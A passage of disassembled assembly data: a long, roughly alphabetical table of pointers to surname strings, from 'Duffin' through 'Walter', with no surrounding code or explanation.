		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
